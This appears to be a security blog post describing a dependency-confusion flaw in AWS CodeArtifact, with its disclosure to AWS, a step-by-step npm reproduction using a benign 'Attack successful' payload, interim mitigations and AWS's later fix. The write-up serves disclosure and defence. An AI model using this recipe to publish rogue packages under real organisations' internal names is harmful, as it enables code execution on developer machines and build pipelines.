Dependency confusion in AWS CodeArtifact
During some internal pen-testing last October I decided to look into how we manage internal dependencies at Zego and saw that we were using AWS CodeArtifact to take care of that. After having read Alex Brisan’s research around dependency confusion in this article, I could not move on to the next thing without testing it in AWS CodeArtifact.
I notified the AWS security team about this issue on October 29th and their response was that the CodeArtifact team was aware of the issue and a fix would be released at some point in Q1 2022.
What is AWS CodeArtifact?
CodeArtifact is a fully managed package and dependency repository. It allows organisations to store and publish their software packages without the complexity of managing different package repositories manually. AWS supports the following kind of packages: Maven, Gradle, npm, yarn, twine, pip, and NuGet.
AWS CodeArtifact also offers the possibility of adding one or more upstream repositories. This means the private registry acts as a cache for public packages and stores the private ones. This is handy for developers and CI/CD pipelines as the repository can be set in their configuration and all the dependencies internal or external will be available.
What is dependency confusion?
I highly recommend reading Alex Brisan’s article about dependency confusion but I will be briefly going over the key concepts of this vulnerability.
The idea is publishing malicious packages to a public repository with the name of an organisation’s internal package. In other words if Zego had an internal NPM package logger-zego:1.0.2
an attacker would try to publish a malicious package with the same name and a higher version number to the public NPM repository. Whenever a Zego developer or automated system tries to pull that package the repository will try to get the newest version available which will be the one the attacker published.
The impact of this attack is huge, it could lead to remote code execution in developer machines, CI/CD pipelines and even production workloads. Which is why it was voted as the top web hacking technique in PortSwigger’s 2021 review.
Exploiting Dependency Confusion in AWS CodeArtifact
We will focus on NPM packages in this section although the process is very similar for pip package (and probably other package types I have not tested).
Pushing a package to CodeArtifact
First we need to create a private npm package and push it to our private npm registry in CodeArtifact. Create a directory, mine is called ignacio-test
. Then run npm init
to initialise the npm package. Leave all the defaults. Then open the package.json
file and add "type": “module"
. This will make it so the package uses ES6 modules (I believe this only affects the way you import the module in a project and is not important to replicate this issue).
{
"name": "ignacio-test",
"version": "1.0.0",
"description": "Testing dependency confusion issues in codeartefact",
"main": "index.js",
"type" : "module",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "congon4tor",
"license": "ISC"
}
Create an index.js
file with the following content.
function test() {
console.log("Called Test function!!!!")
}export { test }
The module exports a test
function. Now we will authenticate to the CodeArtifact registry and publish the module.
aws codeartifact login --tool npm --repository npm --domain zego --domain-owner <AWS AccountID> --profile <AWS Profile> --region eu-west-1
Next run npm publish
npm publish
npm notice
npm notice 📦 ignacio-test@1.0.0
npm notice === Tarball Contents ===
npm notice 80B index.js
npm notice 290B package.json
npm notice === Tarball Details ===
npm notice name: ignacio-test
npm notice version: 1.0.0
npm notice package size: 374 B
npm notice unpacked size: 370 B
npm notice shasum: c0a0f3f3f8ece15e6732b7abbe3de4802fd1c870
npm notice integrity: sha512-f77zN+DtTYarx[...]xOzo4Xm+1KxNg==
npm notice total files: 2
npm notice
+ ignacio-test@1.0.0
If we now check the CodeArtifact in we will see a ignacio-test
package. We can now use this module in a test project. Create a new directory test
and run npm init
. Add the "type": "module"
line to package.json. We plan to use the ignacio-test
module so we run npm install ignacio-test
. The package.json
file should look like this:
{
"name": "test",
"version": "1.0.0",
"type": "module",
"description": "",
"main": "index.js",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "",
"license": "ISC",
"dependencies": {
"ignacio-test": "^1.0.0"
}
}
Now create an index.js
file that makes use of this module.
import {test} from "ignacio-test"test()
To run it do node index.js
. The output should be:
Create a rogue package
Create a new module somewhere else, it needs to have the same name as ignacio-test
and a higher version like 1.0.1
major version changes might not work. The package.json
file will look like this.
{
"name": "ignacio-test",
"version": "1.0.1",
"description": "Testing dependency confusion issues in codeartefact",
"main": "index.js",
"type" : "module",
"scripts": {
"test": "echo \"Error: no test specified\" && exit 1"
},
"author": "congon4tor",
"license": "ISC"
}
Now make your malicious index.js
function test() {
console.log(“Attack successful”)
}export { test }
Publish rogue package to npmjs
You must have an account in npmjs.org, this is the default public registry. Then run npm login --registry https://registry.npmjs.org
to configure npm to use that registry. Finally do a npm publish
to push your malicious package to the repo. You should now see version 1.0.1
of your package in npmjs.
At this point if you reconfigure npm to use the AWS CodeArtifact repo and run npm install ignacio-test
on your test project, CodeArtifact will give you the rogue version (1.0.1) instead of the one created privately and pushed to the private repo. When it gets executed the attacker code will run.
Remediation
At the time of our finding Code Artifact did not have any features to specify which packages were internal and therefore should not be pulled from public repositories. We contacted AWS support and they confirmed the issue and informed us that the Code Artifact team was working on features to fix this which would be ready in Q1 of 2022.
However, there were some actions we could take to mitigate the vulnerability in the mean time. The first thing we did was ensure all services were using fixed package versions. This way when a pipeline tries to pull a package from Code Artifact there is no need to look for the latest version in public repositories as the package has already been uploaded to Code Artifact.
We could also claim all the names of our private packages in the public repositories but we found that to be error prone and counterproductive as it would give away information about our internal packages.
In late Q1 our AWS Technical Account Manager informed us that the new feature was now in beta and they were interested in us testing it and giving them feedback. We enabled it in our sandbox account where I retested the issue.
I followed the steps above and noticed AWS Code Artifact would no longer fetch the newest version from npmjs.org. The fix was also confirmed to work for PIP packages. Looking into the AWS console it is possible to see packages now have an Origin type
attribute that can be set to Internal
or External
. There are also two new settings available for each packages. Publish
and Upstream
they allow to restrict if packages can be updated directly in Code Artifact and if Code Artifact should look for newer versions of that package in upstream repositories.

AWS’s solution provides a safe by default configuration for new repositories. However, for existing repositories you will need to manually configure the settings for each of the existing package. New packages will default to the safe value.
At the time of publishing this blog the feature has already gone GA and is available for all AWS accounts.